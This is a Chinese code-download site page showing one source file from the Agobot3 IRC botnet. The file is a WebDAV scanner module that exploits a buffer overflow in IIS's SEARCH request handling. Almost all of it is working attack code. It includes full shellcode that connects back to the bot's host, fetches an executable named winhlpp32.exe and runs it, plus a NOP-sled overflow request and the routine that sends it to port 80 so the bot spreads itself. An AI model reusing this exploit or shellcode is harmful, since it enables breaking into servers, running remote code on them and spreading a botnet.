⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 wdscanner.cpp.svn-base

📁 很有名的一款用于组织DDoS的恶意机器人程序。仅供研究学习
💻 SVN-BASE
字号:
/*	Agobot3 - a modular IRC bot for Win32 / Linux
	Copyright (c) 2003 Ago
	All rights reserved.

	This is private software, you may redistribute it under the terms of
	the APL(Ago's Private License) which follows:
  
	Redistribution and use in binary forms, with or without modification,
	are permitted provided that the following conditions are met:
	1. The name of the author may not be used to endorse or promote products
	   derived from this software without specific prior written permission.
	2. The binary may not be sold and/or given away for free.
	3. The licensee may only create binaries for his own usage, not for any
	   third parties.

	Redistribution and use in source forms, with or without modification,
	are not permitted.

	THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
	IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
	OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
	IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
	INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
	NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
	DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
	THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
	(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
	THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */

#include "main.h"
#include "mainctrl.h"
#include "utility.h"
#include "shellcode.h"

class CScannerWebDav : public CScannerBase
{
public:
	CScannerWebDav();
	virtual ~CScannerWebDav() throw() { }
	bool Exploit();
};

#define WEBDAV_SHELLCODE_OFFSET_IP		0x150		// Offset for the IP to connect to
#define WEBDAV_SHELLCODE_OFFSET_PORT	0x154		// Offset for the port to connect to
#define WEBDAV_SHELLCODE_OFFSET_LLA		0x23C		// Offset for the IAT addr of LLA
#define WEBDAV_SHELLCODE_OFFSET_GPA		0x240		// Offset for the IAT addr of GPA
#define WEBDAV_LLA_IAT					0x0100107C	// The address of LLA in the IAT
#define WEBDAV_GPA_IAT					0x01001034	// The address of GPA in the IAT

char webdav_shellcode[]=
	"\xE9\x42\x01\x00\x00\x5B\x56\x57\x50\x3E\x8B\xB3\xF0\x00\x00"
	"\x00\x8B\x36\x89\xB3\xF0\x00\x00\x00\x3E\x8B\xB3\xF4\x00\x00\x00"
	"\x8B\x36\x89\xB3\xF4\x00\x00\x00\x8D\xB3\x9F\x00\x00\x00\x8D\xBB"
	"\xC4\x00\x00\x00\xE8\xA3\x02\x00\x00\x89\x83\xE4\x00\x00\x00\x8D"
	"\xBB\xCA\x00\x00\x00\xE8\x92\x02\x00\x00\x89\x83\xE8\x00\x00\x00"
	"\x8D\xBB\xD5\x00\x00\x00\xE8\x81\x02\x00\x00\x89\x83\xEC\x00\x00"
	"\x00\x8D\xB3\x0A\x00\x00\x00\x8D\xBB\x11\x00\x00\x00\xE8\x6A\x02"
	"\x00\x00\x89\x83\x41\x00\x00\x00\x8D\xBB\x1C\x00\x00\x00\xE8\x59"
	"\x02\x00\x00\x89\x83\x45\x00\x00\x00\x8D\xBB\x23\x00\x00\x00\xE8"
	"\x48\x02\x00\x00\x89\x83\x49\x00\x00\x00\x8D\xBB\x2B\x00\x00\x00"
	"\xE8\x37\x02\x00\x00\x89\x83\x4D\x00\x00\x00\x8D\xBB\x30\x00\x00"
	"\x00\xE8\x26\x02\x00\x00\x89\x83\x51\x00\x00\x00\x8D\xBB\x35\x00"
	"\x00\x00\xE8\x15\x02\x00\x00\x89\x83\x55\x00\x00\x00\x8D\xB3\x59"
	"\x00\x00\x00\x8D\xBB\x60\x00\x00\x00\xE8\xFE\x01\x00\x00\x89\x83"
	"\x87\x00\x00\x00\x8D\xBB\x66\x00\x00\x00\xE8\xED\x01\x00\x00\x89"
	"\x83\x8B\x00\x00\x00\x8D\xBB\x6D\x00\x00\x00\xE8\xDC\x01\x00\x00"
	"\x89\x83\x8F\x00\x00\x00\x8D\xBB\x74\x00\x00\x00\xE8\xCB\x01\x00"
	"\x00\x89\x83\x93\x00\x00\x00\x8D\xBB\x7B\x00\x00\x00\xE8\xBA\x01"
	"\x00\x00\x89\x83\x97\x00\x00\x00\x8D\xBB\x82\x00\x00\x00\xE8\xA9"
	"\x01\x00\x00\x89\x83\x9B\x00\x00\x00\x53\xE8\xB5\x01\x00\x00\x5B"
	"\x58\x5F\x5E\xE8\x7F\x03\x00\x00\xE8\xB9\xFE\xFF\xFF\x00\x00\x00"
	"\x00\x11\x11\x11\x11\x22\x22\x77\x73\x32\x5F\x33\x32\x00\x57\x53"
	"\x41\x53\x74\x61\x72\x74\x75\x70\x00\x73\x6F\x63\x6B\x65\x74\x00"
	"\x63\x6F\x6E\x6E\x65\x63\x74\x00\x72\x65\x63\x76\x00\x73\x65\x6E"
	"\x64\x00\x63\x6C\x6F\x73\x65\x73\x6F\x63\x6B\x65\x74\x00\x00\x00"
	"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
	"\x00\x00\x00\x00\x00\x00\x6D\x73\x76\x63\x72\x74\x00\x66\x6F\x70"
	"\x65\x6E\x00\x66\x63\x6C\x6F\x73\x65\x00\x66\x77\x72\x69\x74\x65"
	"\x00\x6D\x65\x6D\x73\x65\x74\x00\x6D\x61\x6C\x6C\x6F\x63\x00\x66"
	"\x72\x65\x65\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
	"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x6B\x65\x72\x6E"
	"\x65\x6C\x33\x32\x00\x47\x65\x74\x50\x72\x6F\x63\x41\x64\x64\x72"
	"\x65\x73\x73\x00\x4C\x6F\x61\x64\x4C\x69\x62\x72\x61\x72\x79\x41"
	"\x00\x53\x6C\x65\x65\x70\x00\x45\x78\x69\x74\x54\x68\x72\x65\x61"
	"\x64\x00\x43\x72\x65\x61\x74\x65\x50\x72\x6F\x63\x65\x73\x73\x41"
	"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x33\x33\x33"
	"\x33\x44\x44\x44\x44\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
	"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
	"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x44\x00\x00\x00\x00\x00\x00"
	"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
	"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
	"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
	"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
	"\x00\x77\x2B\x62\x00\x00\x00\x00\x00\x77\x69\x6E\x68\x6C\x70\x70"
	"\x33\x32\x2E\x65\x78\x65\x00\x6F\x70\x65\x6E\x00\x16\x00\x00\x00"
	"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x51\x57\x56\x56"
	"\xFF\x93\xF0\x00\x00\x00\x50\x59\x57\x51\xFF\x93\xF4\x00\x00\x00"
	"\x5E\x5F\x59\xC3\x50\xB8\x00\x04\x00\x00\xE8\x16\x01\x00\x00\x89"
	"\x83\x83\x01\x00\x00\x58\x8B\x93\x83\x01\x00\x00\x52\x68\x01\x01"
	"\x00\x00\x3E\xFF\x53\x41\x68\x06\x00\x00\x00\x68\x01\x00\x00\x00"
	"\x68\x02\x00\x00\x00\x3E\xFF\x53\x45\x3D\xFF\xFF\xFF\xFF\x0F\x84"
	"\x93\x01\x00\x00\x89\x83\xF8\x00\x00\x00\x57\x50\x53\x8D\x93\x7F"
	"\x01\x00\x00\xC6\x02\x16\x52\x8D\x93\xFC\x00\x00\x00\x66\xC7\x02"
	"\x02\x00\x66\x8B\x7B\x08\x66\x89\x7A\x02\x8B\x7B\x04\x89\x7A\x04"
	"\x52\x50\x3E\xFF\x53\x49\x3D\x00\x00\x00\x00\x0F\x8C\x56\x01\x00"
	"\x00\x5B\x58\x5F\x50\xB8\x00\x10\x00\x00\xE8\x96\x00\x00\x00\x89"
	"\x83\x60\x01\x00\x00\x58\xE8\x10\x00\x00\x00\xE8\xA4\x00\x00\x00"
	"\xE8\x23\x00\x00\x00\xE8\xEB\x00\x00\x00\xC3\x68\x00\x00\x00\x00"
	"\x68\x04\x00\x00\x00\x8D\x93\x87\x01\x00\x00\x52\x8B\x93\xF8\x00"
	"\x00\x00\x52\x3E\xFF\x53\x4D\xC3\x57\x56\x8B\xBB\x87\x01\x00\x00"
	"\x8B\xB3\x8B\x01\x00\x00\x39\xF7\x5E\x5F\x0F\x84\x32\x00\x00\x00"
	"\x68\x00\x00\x00\x00\x68\x00\x10\x00\x00\x8B\x93\x60\x01\x00\x00"
	"\x52\x8B\x93\xF8\x00\x00\x00\x52\x3E\xFF\x53\x4D\x3D\x00\x00\x00"
	"\x00\x0F\x8C\xD0\x00\x00\x00\x01\x83\x8B\x01\x00\x00\xE9\x50\x00"
	"\x00\x00\xE8\x6E\x00\x00\x00\x50\x8B\x83\xF8\x00\x00\x00\x50\x3E"
	"\xFF\x53\x55\x58\xC3\x89\xC7\x50\x3E\xFF\x93\x97\x00\x00\x00\x5F"
	"\x50\x57\x68\x00\x00\x00\x00\x50\x3E\xFF\x93\x93\x00\x00\x00\x5F"
	"\x5F\x5F\x58\xC3\x8D\x93\x64\x01\x00\x00\x52\x8D\x93\x6C\x01\x00"
	"\x00\x52\x3E\xFF\x93\x87\x00\x00\x00\x5F\x5F\x89\x83\x68\x01\x00"
	"\x00\xC3\xFF\xB3\x68\x01\x00\x00\x50\x68\x01\x00\x00\x00\x8B\x93"
	"\x60\x01\x00\x00\x52\x3E\xFF\x93\x8F\x00\x00\x00\x5F\x5F\x5F\x5F"
	"\xE9\x43\xFF\xFF\xFF\x8B\x93\x68\x01\x00\x00\x52\x3E\xFF\x93\x8B"
	"\x00\x00\x00\x5F\xC3\x50\x8D\x83\x0C\x01\x00\x00\x50\x8D\x83\x1C"
	"\x01\x00\x00\x50\x68\x00\x00\x00\x00\x68\x00\x00\x00\x00\x68\x28"
	"\x00\x00\x00\x68\x00\x00\x00\x00\x68\x00\x00\x00\x00\x68\x00\x00"
	"\x00\x00\x8D\x83\x6C\x01\x00\x00\x50\x68\x00\x00\x00\x00\x3E\xFF"
	"\x93\xEC\x00\x00\x00\x58\xC3\xE8\xA9\xFF\xFF\xFF\x68\x00\x00\x00"
	"\x00\xFF\x93\xE8\x00\x00\x00\x90";

char jumpcode[]=
	"\x8b\xf9\x32\xc0\xfe\xc0\xf2\xae\xff\xe7";

char body[]=
	"<?xml version=\"1.0\"?>\r\n<g:searchrequest xmlns:g=\"DAV:\">\r\n"
	"<g:sql>\r\nSelect \"DAV:displayname\" from scope()\r\n</g:sql>\r\n"
	"</g:searchrequest>\r\n";

/*
		WebDav Scanner starts here
		scans for iis/webdav exploit
*/

bool WebDavConfigSC(char *szShellBuf, int iShellBufSize)
{	*(unsigned long*)&szShellBuf[WEBDAV_SHELLCODE_OFFSET_LLA]=WEBDAV_LLA_IAT;
	*(unsigned long*)&szShellBuf[WEBDAV_SHELLCODE_OFFSET_GPA]=WEBDAV_GPA_IAT;
	return true; }

CScannerWebDav::CScannerWebDav() { m_szType="CScannerWebDav"; m_sScannerName.Assign("WebDav"); }

bool CScannerWebDav::Exploit()
{	char szSCBuf[4096]; char szShellBuf[4096];
	char *szReqBuf=(char*)malloc(100000); unsigned short ret=0xB102;
	int iShellSize=0, iPos=0, iSCSize=0, iReqSize=0, iNOPSize=100, rt=0, r=0;

	if(IsPrivate(g_pMainCtrl->m_cIRC.m_sLocalIp.CStr()) && !IsPrivate(m_sSocket.m_szHost))
		iShellSize=setup_shellcode(webdav_shellcode, sizeof(webdav_shellcode), szShellBuf, sizeof(szShellBuf), \
			g_pMainCtrl->m_cBot.bot_ftrans_port.iValue, inet_addr(g_pMainCtrl->m_cIRC.m_sLocalHost.CStr()), \
			WEBDAV_SHELLCODE_OFFSET_PORT, WEBDAV_SHELLCODE_OFFSET_IP, WebDavConfigSC);
	else
		iShellSize=setup_shellcode(webdav_shellcode, sizeof(webdav_shellcode), szShellBuf, sizeof(szShellBuf), \
			g_pMainCtrl->m_cBot.bot_ftrans_port.iValue, g_pMainCtrl->m_cIRC.m_lLocalAddr, \
			WEBDAV_SHELLCODE_OFFSET_PORT, WEBDAV_SHELLCODE_OFFSET_IP, WebDavConfigSC);
	
	// Build a buffer with the shellcode
	memset(szSCBuf+iPos,	'\x90',				iNOPSize					); iPos+=iNOPSize;
	memcpy(szSCBuf+iPos,	szShellBuf,			iShellSize					); iPos+=iShellSize;
	iSCSize=iPos; iPos=0;

	// Build the request
	memset(szReqBuf, 0, 100000);
	strcpy(szReqBuf, "SEARCH /");
	int j, i=strlen(szReqBuf); szReqBuf[i]='\x90';
	for(j=i+1; j<i+2150; j+=2) { memcpy(szReqBuf+j, &ret, 2);				iPos+=2; }			// EIP will be buffer[8+2087]
	for(;j<i+65535-strlen(jumpcode);j++) szReqBuf[j]='\x90';										// The rest is padded with NOP's. RET address should point to this zone!
	memcpy(szReqBuf+j, jumpcode, strlen(jumpcode));													// Then we skip the body of the HTTP request

	strcat(szReqBuf, " HTTP/1.1\r\n");
	sprintf(szReqBuf+strlen(szReqBuf), "Host: %s\r\nContent-Type: text/xml\r\nContent-Length: %d\r\n\r\n", m_sSocket.m_szHost, strlen(body)+iShellSize);
	strcat(szReqBuf, body);
	memset(szReqBuf+strlen(szReqBuf), 0x01, 1);
	memset(szReqBuf+strlen(szReqBuf), 0x90, 3);
	memcpy(szReqBuf+strlen(szReqBuf), szSCBuf, iSCSize);
	iReqSize=strlen(szReqBuf);
	
	// Connect to the server
	if(!m_sSocket.Connect(m_sSocket.m_szHost, 80)) // Connect failed, exit
	{	free(szReqBuf); return false; }

	// Send the evil request
	if(!m_sSocket.Write(szReqBuf, iReqSize)) { m_sSocket.Disconnect(); free(szReqBuf); return false; }
	// Read reply
	m_sSocket.RecvTO(szReqBuf, sizeof(szReqBuf), 5000);

	// Close the socket that was once funky fresh
	m_sSocket.Disconnect(); free(szReqBuf); return true; }

REGSCANNER(WebDav_80, WebDav, 80, true, true)

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -